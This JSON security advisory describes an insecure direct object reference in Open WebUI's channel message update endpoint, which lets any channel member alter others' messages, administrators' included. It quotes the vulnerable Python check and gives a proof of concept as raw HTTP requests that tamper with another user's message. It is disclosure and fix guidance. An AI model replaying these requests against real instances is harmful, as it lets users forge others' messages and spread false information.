{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:25:40Z",
    "nvd_published_at": "2026-05-15T21:16:36Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn IDOR vulnerability exists in the Channels feature of `Open WebUI`, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (`v0.8.12`) of `Open WebUI`.\n\n### Details\nIn the `update_message_by_id` function, for `group` or `dm` type channels, only the caller\u0027s membership in the channel is checked via the `is_user_channel_member` function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows [(https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355)](https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355) :\n\n```python\nif channel.type in [\u0027group\u0027, \u0027dm\u0027]:\n    if not Channels.is_user_channel_member(channel.id, user.id, db=db):\n        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\nelse:\n    if (\n        user.role != \u0027admin\u0027\n        and message.user_id != user.id\n        and not channel_has_access(user.id, channel, permission=\u0027write\u0027, strict=False, db=db)\n    ):\n        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n\ntry:\n    message = Messages.update_message_by_id(message_id, form_data, db=db)\n```\n\nNon-group/dm types include a check for the user ID, while the `group/dm` type clearly lacks this verification.\n\n### PoC\nThe `Channels` feature is disabled by default and can be enabled first through the `admin` interface.\n\u003cimg width=\"1024\" height=\"618\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a36502e9-c6cd-41cd-a69c-8b6ac809768f\" /\u003e\n\nCreate a `group` type channel with members including users `test1` and `test2`.\n\n```\nPOST /api/v1/channels/create HTTP/1.1\nContent-Type: application/json\n\n{\n  \"name\": \"idor-test-group\",\n  \"type\": \"group\",\n  \"user_ids\": [\n    \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n    \"b9997496-ff80-4c30-a366-95474f85e62b\"\n  ]\n}\n```\n\nUser `test2` sends a message in the channel.\n\n```\nPOST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003ctest2_token\u003e\n\n{\"content\":\"This is test2 secret message\"}\n```\n\nUser `test1` can directly modify the message that `test2` just sent.\n\n```\nPOST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003ctest1_token\u003e\n\n{\"content\":\"HACKED BY TEST1 - message tampered!\"}\n```\n\u003cimg width=\"1024\" height=\"216\" alt=\"image\" src=\"https://github.com/user-attachments/assets/77646d01-d501-4732-ac37-3ffb69f9f01f\" /\u003e\n\nMessages sent by administrators can also be modified.\n\n\u003cimg width=\"1024\" height=\"419\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b32dc5eb-f810-41d3-b358-f000d8331761\" /\u003e\n\n\n### Impact\nMalicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information.\n\n### Suggested Fix\nAdd a message ownership check in the `group/dm` branch of `channels.py`.",
  "id": "GHSA-wwhq-cx22-f7vv",
  "modified": "2026-05-15T23:54:10Z",
  "published": "2026-05-14T20:25:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-wwhq-cx22-f7vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45385"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has an IDOR vulnerability in the update_message_by_id API endpoint"
}